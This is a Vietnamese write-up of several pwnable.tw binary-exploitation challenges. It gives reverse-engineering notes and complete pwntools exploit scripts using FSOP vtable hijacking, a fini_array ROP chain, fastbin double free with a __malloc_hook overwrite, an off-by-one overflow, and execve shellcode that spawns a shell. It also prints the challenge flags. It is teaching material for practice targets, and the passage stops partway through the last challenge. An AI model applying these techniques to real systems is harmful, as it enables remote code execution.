---
# System prepended metadata

title: Write-up pwnable.tw

---

# Write-up pwnable.tw
# seethefile [250 pts]
## 1. Analyze the binary
### checksec  
![image](https://hackmd.io/_uploads/r1Qh4bOnC.png)
### Reverse 
- **main()**
![image](https://hackmd.io/_uploads/r1h9HZO2A.png)
- **openfile()**
![image](https://hackmd.io/_uploads/BJbXUZ_2R.png)
```
- Hàm openfile cho phép chúng ta mở file mà tên file do chúng ta lựa chọn ( nhập từ bàn phím)
- Tuy nhiên, không được mở file flag
```
- **readfile()**
![image](https://hackmd.io/_uploads/r1h4IWuhR.png)
```
- Dùng hàm fread để đọc file đựa lưu ở fp và đưa vào mảng magicbuf
```
- **writefile()**
![image](https://hackmd.io/_uploads/Hk-ILZd2A.png)
```
- Kiểm tra nếu tồn tại các kí tự giống flag thì exit nếu không thì in magicbuf
```
- **closefile()**
![image](https://hackmd.io/_uploads/HkFwL-_20.png)
```
dùng hàm fclose để đóng file 
```
- **exit** 
![image](https://hackmd.io/_uploads/B1QiL-_n0.png)
```
nhập từ bàm phím chuỗi name -> sau đó đóng file bằng fclose()
```
### BUG 
- Ta có thể thấy ở `case 5`, binary dùng scanf("%s") để nhập name mà không kiểm tra nbyte -> BOF
## 2. Exploit
### Analyze the bug
- Ta có BOF ở chuỗi name tuy nhiên name lại ở vùng .bss 
![image](https://hackmd.io/_uploads/HyXZcbd3A.png)
-> Vậy làm sao để tận dụng đây ???

- Để ý thêm 1 tí, ta có thể thấy fp nằm dưới name (fp là con trỏ đến file đã được mở) -> ta có thể overflow đến nó -> Kĩ thuật FSOP

### FSOP
- Kiến thức bổ trợ về kĩ thuật này
    - https://hackmd.io/Gm4JMg7rTWeLgn4myn6Zdw
    - https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/EN%20-%20Play%20with%20FILE%20Structure%20-%20Yet%20Another%20Binary%20Exploit%20Technique%20-%20An-Jie%20Yang.pdf
    - https://hackmd.io/@ChinoKafuu/r1W3T5aIh
    
- Ở đây binary sử dụng glibc 2.23 tức là nó chưa có chế độ kiểm tra khi đúng ta thay đổi vtable -> mục tiêu bài này sẽ `thay đổi vtable`.

### Leak libc 
- Bởi vì mục tiêu của chúng ta là thay đổi `vtable` -> cần có địa chỉ libc để có execve hoặc system để get shell.
- Rất may không hề khó vì chương trình cung cấp cho ta 3 hàm `openfile()`,`readfile()`,`writeifle()` và chúng ta sẽ sử dụng 1 file chứa các thông tin của tiến trình `/proc/self/maps`

```c
    open(p,b'/proc/self/maps')
    read(p)
    write_to_screen(p)
    read(p)
    write_to_screen(p)
    rl(p)
    libc.address =int(b"0x"+ ru(p,b'-').replace(b'-',b''),16)
    print("libc base:",hex(libc.address))
```
- các byte ở local và server có chút khác tuy nhiên ý tưởng vẫn vậy.

### change FILE STRUCTURE 
- `pwntools` cung cấp cho chúng ta 1 cấu trúc giả mạo `file structure` là `FileStructure()`
#### _IO_acquire_lock
- Trong quá trình chúng ta thay đổi vtable có lẽ sẽ gặp tình huống sau: 
![image](https://hackmd.io/_uploads/ByluGMO3R.png)
-> chương trình bị chết giữa chừng
- Nguyên nhân + giải quyết : 
![image](https://hackmd.io/_uploads/rkn9cz_hR.png)

->  AngelBoy cung cấp cho chúng ta cách giải quyết bằng cách để `_lock` sẽ trỏ đến 1 địa chỉ NULL 
![image](https://hackmd.io/_uploads/r16toz_2A.png)
-> OKEEE, qua chỗ lúc nãy rồi :+1: 

#### change vtable and get shell
- Với FILE STRUCTURE : 
```
f = FileStructure()
f.vtable = 0x12345678
f._lock = 0x804b518
```
![image](https://hackmd.io/_uploads/HkekCfOn0.png)

- Mục tiệu cuối cùng là làm cho **`vtable + 0x8`** trỏ đến địa chỉ hàm `system` 
- Cũng nhận thấy rằng tham số đầu tiên khi `call [eax+0x8] `nằm ngay vùng  `_IO_read_ptr` và  `_IO_read_end` -> nên ta sẽ ghi string "/bin/sh\x00" vào đó luôn.


### Script 
```python
#!/usr/bin/env python3

from pwn import *

def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)

def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base

def GDB(p):
    # base = get_exe_base(p.pid)
    gdb.attach(p,gdbscript='''
        b*0x08048AE0
        c
    ''')
    input()
def open(p,filename):
    sla(p,b'Your choice :',b'1')
    sla(p,b'want to see :',filename)

def read(p):
    sla(p,b'Your choice :',b'2')

def write_to_screen(p):
    sla(p,b'Your choice :',b'3')

def close(p):
    sla(p,b'Your choice :',b'4')

def exit(p,payload):
    sla(p,b'Your choice :',b'5')
    sla(p,b'your name :',payload)

def main():
    context.binary = exe = ELF("./chall", checksec=False)
    libc = ELF("./libc_32.so.6", checksec=False)
    ld = ELF("./ld-2.23.so", checksec=False)
    # p = remote("chall.pwnable.tw",10200)
    p = process(exe.path)
    #GDB(p)
    open(p,b'/proc/self/maps')
    read(p)
    write_to_screen(p)
    read(p)
    write_to_screen(p)
    rl(p)
    libc.address =int(b"0x"+ ru(p,b'-').replace(b'-',b''),16)
    print("libc base:",hex(libc.address))

    f = FileStructure()
    f.flags = u32(b'/bin')
    f._IO_read_ptr = u32(b'/sh\x00')
    f.vtable = 0x804b310+12-0x44
    f._lock = 0x804b518
    print(f)
    payload = b'A'*32 
    payload += p32(0x804b280+4)
    payload+= bytes(f)
    payload+= p32(libc.sym['system'])
    # GDB(p)
    p.sendlineafter(b'choice :', b'5')
    p.sendlineafter(b'name :', payload)

    p.interactive()

if __name__ == "__main__":
    main()
    # FLAG{F1l3_Str34m_is_4w3s0m3}
```

# 3x17 [150 pts]
## Analyze the binary
### checksec
![image](https://hackmd.io/_uploads/r1JrGQ_nA.png)

### Reverse
- main()
![image](https://hackmd.io/_uploads/HkoPfQO3C.png)
```
- Binary chỉ có main() cho phép nhập 1 địa chỉ bất kì từ bàn phím 
  và ghi data vào buffer đó
```
### BUG 
- Cho phép nhập 1 địa chỉ bất kìa và tự do ghi vào là 1 điều vô cùng nguy hiêm
- Hơn thế PIE tắt -> ghi vào địa chỉ thuộc binary 

## Exploit
### .finiarray
- Các bạn có thể tìm hiểu kĩ hơn ở
    - https://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html
- start()
![image](https://hackmd.io/_uploads/r1zYu7_20.png)
    - Hàm libc_start_main sẽ call tới hàm `main` -> `main` kêt thúc -> gọi `call_finiarray`
- call_finiarray
![image](https://hackmd.io/_uploads/rkvTuX_hA.png)

    ![image](https://hackmd.io/_uploads/B1UbqXd3C.png)

    - Dựa vào source của hàm call_finiarray, hàm này sẽ gọi từ cuối mảng các con trỏ hàm.

    ![image](https://hackmd.io/_uploads/rytWimuhC.png)

### Thay đổi .finiarray 
- Dựa vào đặc điểm này, ý tưởng sẽ là overwrite `.finiarray` để nó call gì đó giúp mình get shell
- Nhưng chương trình không hề có hàm win(hoặc tương tự thế) 
- Rất may qua các gadget mình thấy nó có gadget syscall nên chắc là sẽ theo hương ROPchain -> `ret to syscall`

### How to ROPchain
- binary chỉ cho nhập 5 bytes nên không thể ghi payload trong 1 lần nên chúng ta phải tìm các loop main 

![image](https://hackmd.io/_uploads/Sk2XJEd2A.png)

- Tiếp theo là cách để return về ROPchain:
    - căn chỉnh
    `addr = p64(fini_array + offset)`
    `data = p64(ROPchain)`
    - offset đó ta phải tính toán, và cuối cùng muốn syscall execve, ta phải return vào chuỗi ROP của mình bằng gadget leave;ret

### script 
```python
#!/usr/bin/env python3

from pwn import *


def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)


def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base

def leak(p, payload):
    sl(p, payload)
    ru(p, b'|')
    leak = int(ru(p, b'|').replace(b'|', b''), 16)
    return leak

def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*main+92
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./chall", checksec=False)
    # libc = ELF("./", checksec=False)
    # ld = ELF("./", checksec=False)
    p = process(exe.path)
    # GDB(p)
    pop_rax = 0x000000000041e4af
    pop_rdi = 0x0000000000401696
    pop_rsi = 0x0000000000406c30
    pop_rdx = 0x0000000000446e35
    syscall = 0x00000000004022b4
    leave_ret = 0x0000000000401c4b

    main = 0x401b6d
    fini_array = 0x4b40f0
    fini_array_call = 0x402960 
    offset = fini_array
    binsh = offset + 11*8

    def change(addr,data):
        p.sendafter(b'addr:',str(addr))
        p.sendafter(b'data:',data)

    change(fini_array,p64(fini_array_call)+p64(main))

    change(offset + 2*8, p64(pop_rdi) + p64(binsh))
    change(offset + 4*8, p64(pop_rdx) + p64(0))
    change(offset + 6*8, p64(pop_rsi) + p64(0))
    change(offset + 8*8, p64(pop_rax) + p64(0x3b))
    change(offset + 10*8, p64(syscall) + b'/bin/sh\0')
    change(offset, p64(leave_ret))
    p.interactive()

if __name__ == "__main__":
    main()
```
# Heap Paradise [350 pts]
## Analyze 
### Reverse
- Chương trình chỉ có 2 hàm quan trọng là hàm add, delete

**`int add()`**
![image](https://hackmd.io/_uploads/rJb7gI-RR.png)
```
* Hàm add :
 - Chỉ cho phép 15 lần gọi malloc (tăng i đến khi nào heap[i] NULL thì thêm con trỏ sau malloc vào đó)
 - Chỉ cho phép size <= 0x78
```

**`void delete()`**
![image](https://hackmd.io/_uploads/BkB6-IWAR.png)
```
hàm delete()
- free tại vị trí index đã nhập
- Tuy nhiên không set NULL con trỏ đã free
```

### BUG
- Bug khá rõ ở đây là Use after free/ Double free ở hàm delete

## Exploit 
- Chương trình dùng libc 2.23 lại có UAF -> có lẽ tập trung vào fastbin dup
- Tuy có UAF nhưng lại không có chức năng nào có thể in nội dung trong chunk -> `FSOP` để in/leak libc
- Dùng `__malloc_hook` để get shell bằng `one_gadget` 

### FSOP : leak libc address
- Để dùng FSOP leak libc thì ta cần overwrite được `_flags` và `IO_writebase` của stdout -> Ở đây chỉ có khi tạo 1 chunk sau đó thêm data có thể dùng để ghi cái gì đó -> mục tiêu sẽ tạo 1 chunk có địa chỉ libc

#### Step 1: Unsorted bin -> create libc address 
- Có 1 cách để tạo ra libc đó là sử dụng địa chỉ main_arena trong chunk ở unsorted bin.
- Tuy nhiên, bài không cho tạo chunk > 0x78 (vẫn ở fastbin) -> dùng double free để fake size của chunk.
- Mục tiêu : 
    - dùng double free để thay đổi fd của 1 chunk trong bin trỏ đến 1 fake_chunk(vẫn đảm bảo size đúng với idx) 
    - Sau đó fake size (để out of range fastbin và vào unsorted bin) 
```py
payload = b'a'*2*8 + p64(0x0) + p64(0x70) # prepare fake fastbin list
add(p,0x68,payload)   #0:4000
add(p,0x68,b'b'*0x40+p64(0x0)+p64(0x21))   #1:4070 -> fake prev_inuse of next chunk
# GDB(p)
delete(p,0)
delete(p,1)
delete(p,0) #double free
# GDB(p)
add(p,0x68,b'\x20') #2:4000 -> fake fastbin list
add(p,0x68,b'b'*0x40) #3:4070
# GDB(p)
payload = b'a'*8*2 
add(p,0x68,payload) #4:4000
add(p,0x68,b'c'*8*4) #5:4020
delete(p,4)
# GDB(p)
add(p,0x68,b'a'*8*2+p64(0x0) +p64(0xa1)) #6:4000 -> fake size to out of range fast bin -> to insert ubin
delete(p,5) # insert chunk 0xa0 into unsorted bin
```
##### warning 
 - Cần fake luôn prev_inuse của next_chunk (tính offset fake chunk sau đó fake size + bit inuse)
 - Cần đảm bảo size của next_chunk (của chunk out of range) để tránh lỗi 
![image](https://hackmd.io/_uploads/r1N9sI-CR.png)

    ![image](https://hackmd.io/_uploads/SyQss8ZRC.png)
    
#### Step 2: insert libc address into fastbin
- Sau khi có libc ở unsortedbin, để overwrite stdout thì cần biến nó thành 1 chunk -> Đưa nó vào fastbin
- Ta tận dụng [phân bổ chunk](https://hackmd.io/@trhoanglan04/heap_introduce#%F0%9F%91%80-unsorted-large-small-bins) của libc để  tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống. 
    -> Tránh size để có ở fastbin

- Sau đó data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area
```py
delete(p,0) #0 #4000
delete(p,1) #1->0 #4070->4000

payload = flat(
    0,0,   #4030 #4038
    0,0,   #4040 #4048
    0,0,   #4050 #4058
    0,0,   #4060 #4068
    0,0x71 #4070 #4078
    )
payload += b'\xa0' #ow heap bin
#from 4070->4000 to 4070->40a0->main_area

add(p,0x78,payload) #chunk7:4030 #request from ubin 4020
#new ubin 40a0 (size 0xa1-0x80=0x21)
delete(p,7) 
```

#### Step 3: Brute force libc 
- Sau khi có 1 chunk libc ở fastbin nhưng chunk này không thể ghi vào `IO_stdout` nhưng rất may chunk này lại có địa chỉ khá giống với `IO_stdin`
-> Ta chỉ cần brute 1 byte gần cuối (do byte ta đã biết chắc chắn do biết offset so với libc base)

- Điều cần quan tâm tiếp theo là tìm meta data phù hợp cho chunk để overwrite IO_stdout  -> `stdout -0x43`

```py
    print("_IO_2_1_stdout_ - 0x43:",hex(libc.sym['_IO_2_1_stdout_']))
    brute = p16(0x25dd)
    payload = flat(
        0,0,   #4080 #4088 
        0,0,   #4090 #4098
        0,0x71 #40a0 #40a8 #victim_chunk #re_size
        )
    payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)
    add(p,0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
    add(p,0x68,brute)   #chunk9:40b0 #re_ow stdout-0x43

    _flags = 0xfbad1800
    payload = b'\0'*0x33 #padding
    payload += p64(_flags) 
    payload += p64(0) * 3 + b'\x88'
    try:
        add(p,0x68,payload) # brute force libc stdout -> overwrite stdout 
    except EOFError:
        p.close()
        continue
    leak = intFromByte(p,6)
    if leak == 0x2a2a2a2a2a2a :
        p.close()
        continue
    else :
        break 
print("leak:",hex(leak))
libc.address=leak - 0x3c38e0
print("libc base:",hex(libc.address))
```
##### note 
- Về vấn đề overwrite như thế nào thì có thể tìm hiểu tìm kĩ thuật [FSOP](https://hackmd.io/Mx1bLro_Tp-VMh6u--k13w).
- Về brute force thì cứ chạy thử xem nó in ra cái gì thì viết script theo vậy.

### RCE :  __malloc_hook + one_gadget 
- Về đoạn này thì khá ez, các bạn có thể tìm hiểu qua [task heap2](https://hackmd.io/ba4F7J-PQ_uMurib0TjBSg?view#Heap2)
- Đơn giản là mình sẽ overwrite con trỏ __malloc_hook thành 1 con trỏ hàm nào đó ( ở đây mình dùng one_gadget để RCE) thì nó sẽ call con trỏ đó khi dùng malloc hoặc free

```py
    malloc_hook = libc.sym['__malloc_hook']
    print("__malloc_hook:",hex(malloc_hook))
    fake_chunk  = malloc_hook -35
    print("fake_chunk:",hex(fake_chunk))
    one_gadget = 0xef6c4 + libc.address
    print("one_gadget:",hex(one_gadget))
    offset = 19
    # GDB(p)
    delete(p,0)
    delete(p,1)
    delete(p,0) # create double free

    gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
    one_gadget = libc.address + gadget[2]

    add(p,0x68,p64(libc.sym['__malloc_hook']-0x23))
    add(p,0x68,b'A')
    add(p,0x68,b'B')
    add(p,0x68,b'a'*0x13 + p64(one_gadget))

    delete(p,0)
    delete(p,0)#trigger aborted
```

## Full script
```py
#!/usr/bin/env python3

from pwn import *

def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)

def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base
def add(p,size,data):
    sla(p,b'You Choice:',b'1')
    sla(p,b'Size :',str(size).encode())
    sa(p,b'Data :',data)

def delete(p,idx):
    sla(p,b'You Choice:',b'2')
    sla(p,b'Index :',str(idx).encode())

def GDB(p):
    base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript=f'''
        b*{base}+0x0000000000000D66
        b*{base}+0x0000000000000DCD
        b*{base}+0x0000000000000CF4
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./chal_patched", checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    while True:
        # p = remote('chall.pwnable.tw',10308)
        p = process(exe.path)
        ################################## 
        payload = flat(
            0,0,   
            0,0x71 
            )
        add(p,0x68,payload) 
        payload = flat(
            0,0,    
            0,0,    
            0,0,    
            0,0,    
            0,0x21  
            )
        add(p,0x68,payload) 

        delete(p,0) 
        delete(p,1) 
        delete(p,0) 

        add(p,0x68,b'\x20') 
        add(p,0x68,b'A') 
        add(p,0x68,b'B') 
        add(p,0x68,b'C') 

        delete(p,0) 

        payload = flat(
            0,0,   
            0,0xa1 
            )

        add(p,0x68,payload) 

        delete(p,5) 

        ###################################### leak libc #############################################
        # GDB(p)
        delete(p,0) 
        delete(p,1) 

        payload = flat(
            0,0,   
            0,0,   
            0,0,   
            0,0,   
            0,0x71 
            )
        payload += b'\xa0'
        add(p,0x78,payload)
        delete(p,7) 
        print("_IO_2_1_stdout_ - 0x43:",hex(libc.sym['_IO_2_1_stdout_']))
        brute = p16(0x25dd)
        payload = flat(
            0,0,   
            0,0,   
            0,0x71 
            )
        payload += brute 
        add(p,0x68,payload) 
        add(p,0x68,brute)   

        _flags = 0xfbad1800
        payload = b'\0'*0x33 #padding
        payload += p64(_flags) 
        payload += p64(0) * 3 + b'\x88'
        try:
            add(p,0x68,payload) 
        except EOFError:
            p.close()
            continue
        leak = intFromByte(p,6)
        if leak == 0x2a2a2a2a2a2a :
            p.close()
            continue
        else :
            break 
    print("leak:",hex(leak))
    libc.address=leak - 0x3c38e0
    print("libc base:",hex(libc.address))
    ############################## Get shell #################################
    # GDB(p)
    malloc_hook = libc.sym['__malloc_hook']
    print("__malloc_hook:",hex(malloc_hook))
    fake_chunk  = malloc_hook -35
    print("fake_chunk:",hex(fake_chunk))
    one_gadget = 0xef6c4 + libc.address
    print("one_gadget:",hex(one_gadget))
    offset = 19
    # GDB(p)
    delete(p,0)
    delete(p,1)
    delete(p,0)

    gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
    one_gadget = libc.address + gadget[2]

    add(p,0x68,p64(libc.sym['__malloc_hook']-0x23))
    add(p,0x68,b'A')
    add(p,0x68,b'B')
    add(p,0x68,b'a'*0x13 + p64(one_gadget))

    delete(p,0)
    delete(p,0)
    p.interactive()
if __name__ == "__main__":
    main()
    # FLAG{W3lc0m3_2_h3ap_p4radis3}
```
# Spirited Away [300 pts]
## analyze 

- Chương trình chỉ có 1 hàm quan trong làm toàn bộ công việc của chương trình là `survey()`
![image](https://hackmd.io/_uploads/SkAtxcGR0.png)
![image](https://hackmd.io/_uploads/S1yig9GRC.png)

### work flow 
- Cách hoạt đông của bin khá đơn giản : vòng lặp `while(1)` cho phép ta điền `name`, `age`, `reason`, `comment` sau khi điền xong nếu muốn điền tiếp thì chọn 'y'= yes (ngược lại là 'n'=no) 
- `name` nằm ở heap do malloc cấp phát ; nếu chọn 'y' thì trước khi `malloc()` thì name được `free()`

## vulnerability 
- Nếu nhìn tổng quát thì chương trình không có bug tuy nhiên ý đồ của author được thể hiện ở `memset(comment, 0, sizeof(comment));` khi chỉ có memset ở `comment` nhưng không có ở `reason`  -> Tại sao ???
    - Khi bin sử dụng hàm read() -> không thêm '\n' + không set null + printf -> thường sẽ in 1 đống phía sau input của mình (thực ra ban đầu mình test chương trình băng cách nhập lung tung và nó in ra 1 số byte nên biết nó có bug )

- hàm `sprintf()` + `puts()` -> tạo chuỗi theo format + in chuỗi 
    ![image](https://hackmd.io/_uploads/rkcD45MAC.png)
    
    - Tập trung vào string nó muốn format : 
    ![image](https://hackmd.io/_uploads/S1As4qfC0.png)
    ![image](https://hackmd.io/_uploads/ByY0N9zCA.png)
    -> nếu number (ở %d) có 3 chữ số thì sao -> 57 -> `off by one `
    
    - Xem cách bố trí của stack : 
    ![image](https://hackmd.io/_uploads/SkVQU5GAR.png)
    -> Chỉ overflow 1 byte -> thay đổi `nbytes` -> buffer overflow ở `name`, `comment`
    
## Exploit
### Leak libc + stack
- Việc leak được libc ở đây không khó chỉ có điều trên server thì có 1 chút khác về offset nhưng cũng không ảnh hưởng tới độ khó

```py
        p = remote('chall.pwnable.tw', 10204)
        ##### leak libc #####
        payload = b'b'*3+b'|'
        survey(p,b'a'*20,7,payload,b'c'*20)
        ru(p,b'|')
        leak  = intFromByte(p,4)
        libc.address = leak - 1771149
        print("leak libc:",hex(leak))
        print("libc base:",hex(libc.address))
        end(p,y)
```
###  off by one 
- Việc tạo ra `off by one` thì chỉ cần làm cho count thành số có 3 chữ số (tuy nhiên biến name khi thực hiện thì bị bỏ qua nhưng cũng không quá quan trọng)
```py
    for i in range(7):
        survey(p,b'0'*60,7,b'1'*80,b'2'*60)
        end(p,y)
    for i in range(90):
        survey_pass(p,18,b'A',b'B')
        end_pass(p,y)
```
### buffer overflow
- Sau khi trigger thành công off by one -> có BOF ở `name` và `comment` với size từ 0x40 -> 0x6e
- Ban đầu mình nghĩ xong rồi chỉ cần overwrite EIP là xong nhưng mà thực ra không đủ byte đên eip :((  tuy nhiên chúng ta có thể chuyển hướng qua thay đổi `name` thành 1 địa chỉ có thể overwrite được eip 
    ![image](https://hackmd.io/_uploads/S18QiczCR.png)
    
    - `name` lại nằm ở heap nên cần set up fake chunk và cả bit in_use của next_chunk_fake 
    ![image](https://hackmd.io/_uploads/rJxsyoGCC.png)

- Sau đó ta sẽ ghi overwrite eip thôi (mih dùng one_gadget)

## Get flag
```python
#!/usr/bin/env python3

from pwn import *

def s(p, data): p.send(data)
def sl(p, data): p.sendline(data)
def sla(p, msg, data): p.sendlineafter(msg, data)
def sa(p, msg, data): p.sendafter(msg, data)
def rl(p): return p.recvline()
def ru(p, msg): return p.recvuntil(msg)
def r(p, size): return p.recv(size)

def intFromByte(p, size):
    o = p.recv(size)[::-1].hex()
    output = '0x' + o
    leak = int(output, 16)
    return leak

def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base
def survey(p,name,age,reason,comment):
    sa(p,b'Please enter your name: ',name)
    sla(p,b'Please enter your age: ',str(age).encode())
    sa(p,b'Why did you came to see this movie? ',reason)
    sa(p,b'Please enter your comment: ',comment)

def end(p,choice):
    sa(p,b'comment? <y/n>:',choice)

def survey_pass(p,age,reason,comment):
    sla(p,b'Please enter your age: ',str(age).encode())
    sa(p,b'Why did you came to see this movie? ',reason)
    sa(p,b'Please enter your comment: ',comment)
def end_pass(p,choice):
    ru(p,b'Wrong choice.\n')
    sa(p,b'comment? <y/n>:',choice)
def GDB(p):
    # base = get_exe_base(p.pid)
    gdb.attach(p, gdbscript='''
        b*0x080487DA
        c
    ''')
    input()

def main():
    context.binary = exe = ELF("./chal_patched", checksec=False)
    libc = ELF("./libc_32.so.6", checksec=False)
    n = b'n'
    y = b'y'
    mode = sys.argv[1]
    if mode == 'lo':  
        p = process(exe.path)
        ##### leak libc #####
        survey(p,b'a'*20,7,b'b'*19+b'|',b'c'*20)
        ru(p,b'|')
        leak  = intFromByte(p,4)
        libc.address = leak - 389787
        print("leak libc:",hex(leak))
        print("libc base:",hex(libc.address))
        end(p,y)

    elif mode == 're':  
        p = remote('chall.pwnable.tw', 10204)
        ##### leak libc #####
        payload = b'b'*3+b'|'
        survey(p,b'a'*20,7,payload,b'c'*20)
        ru(p,b'|')
        leak  = intFromByte(p,4)
        libc.address = leak - 1771149
        print("leak libc:",hex(leak))
        print("libc base:",hex(libc.address))
        end(p,y)
   
    ##### leak stack #####
    count = 0 
    # GDB(p)
    survey(p,b'a'*20,7,b'b'*55+b'|',b'c'*20)
    ru(p,b'|')
    stack_leak  = intFromByte(p,4)
    print("stack leak:",hex(stack_leak))
    end(p,y)

    ##### trigger bug off by one #####
    survey(p,b'0'*60,7,b'1'*80,b'2'*60)
    end(p,y)
    for i in range(7):
        survey(p,b'0'*60,7,b'1'*80,b'2'*60)
        end(p,y)
    for i in range(90):
        survey_pass(p,18,b'A',b'B')
        end_pass(p,y)

    fake_chunk = stack_leak -96
    comment = b'2'*84 + p32(fake_chunk)
    reason = p32(0)*3+p32(0x40)+ p32(0)*15+p32(0x21)
    GDB(p)
    survey(p,b'0'*60,7,reason,comment)
    end(p,y)

    one_gadget = 0x3a819 +libc.address
    payload  = b'a'*68 + p32(one_gadget)
    # GDB(p)
    survey(p,payload,18,b'a',b'b')
    end(p,n)
    p.interactive()

if __name__ == "__main__":
    main()
    # FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn}
```

# start 
## analyze
- Chương trình chỉ có hàm `start`
```c
; __int64 start()
public _start
_start proc near
push    esp
push    offset _exit
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch ; '<'
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn
```

### work flow 
- Ta thấy có lệnh `int 0x80` (ngắt : syscall) 
    - sys_write : al = 0x4, ecx = esp (đọc nội dụng đỉnh stack)
    - sys_read : al=0x3, ecx = esp, dl = 0x3c (size) -> `BOF` 

### checksec 
```checksec
Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : ✘ 
```
## exploit 
-  chương trình đơn giản chỉ là BOF ở read và cho thực thi shellcode tự do -> trigger bof -> write shellcode 

```py
#!/usr/bin/python3

from pwn import *

#context.binary = exe = ELF('./start',checksec=False)

#p = process(exe.path)

#input()

p = remote('chall.pwnable.tw',10000)

# send payload to leak esp
payload = b'A'*20
payload += p32(0x08048087)
p.sendafter(':',payload)
esp = u32(p.recv(4))
print("esp: ",hex(esp))

# send payload to ret to my shellcode
shellcode = b'\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' 
shelcode_add = esp + 20 ; 
payload = b'a'*20 + p32(shelcode_add) + shellcode 

p.send(payload)
p.interactive()
#FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
```

# Secret garden
## analyze
- Chường trình chỉ có các hàm tạo, in, xóa (khá quen thuộc với dạng bài heap) 

`raise()`
```c
int create()
{
    _QWORD *color; // rbx
    void *name; // rbp
    _QWORD *v2; // rcx
    int idx; // edx
    unsigned int size; // [rsp+4h] [rbp-24h] OVERLAPPED BYREF
    unsigned __int64 canary; // [rsp+8h] [rbp-20h]

    canary = __readfsqword(0x28u);
    size = 0;                                    
    if ( count > 99u )
    {
        return puts("The garden is overflow");
    }

    color = malloc(0x28uLL);                   
    *color = 0LL;
    color[1] = 0LL;
    color[2] = 0LL;
    color[3] = 0LL;
    color[4] = 0LL;                          
    __printf_chk(1LL, "Length of the name :");
    if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
    {
        exit(-1u);
    }

    name = malloc(size);                     
    if ( !name )
    {
        puts("Alloca error !!");
        exit(-1u);
    }

    __printf_chk(1LL, "The name of flower :");
    read(0, name, size);                       
    color[1] = name;
    __printf_chk(1LL, "The color of the flower :");
    __isoc99_scanf("%23s", color + 2);          
    *(_DWORD *)color = 1;                  
    if ( color_list[0] )                        
    {
        v2 = &color_list[1];
        idx = 1;
        while ( *v2 )
        {
            ++idx;
            ++v2;
            if ( idx == 0x64 )
            {
                goto successful;
            }
        }
    }
    else
    {
        idx = 0;
    }

    color_list[idx] = color;

successful:
    ++count;                                   
    return puts("Successful !");
}
```
```
- malloc chunk 0x28:color : chunk này lưu 0x1(8b),name_add(8b), string color(user input)
- malloc chunk với size (user input) : lưu name 
- color_list : mảng con trỏ ở bss ( lưu địa chỉ của color mỗi flower)
- 0x1 : sẽ là giá trị để chương trình check flower đã remove chưa (0x0:removed)
```

`remove()`
```c
int remove()
{
    _DWORD *ptr; // rax
    unsigned int idx; // [rsp+4h] [rbp-14h] BYREF
    unsigned __int64 v3; // [rsp+8h] [rbp-10h]

    v3 = __readfsqword(0x28u);
    if ( !count )
    {
        return puts("No flower in the garden");
    }

    __printf_chk(1LL, "Which flower do you want to remove from the garden:");
    __isoc99_scanf("%d", &idx);
    if ( idx <= 99 && (ptr = (_DWORD *)color_list[idx]) != 0LL )
    {                                           
        *ptr = 0;                              
        free(*(void **)(color_list[idx] + 8LL));// uaf
        return puts("Successful");
    }
    else
    {
        puts("Invalid choice");
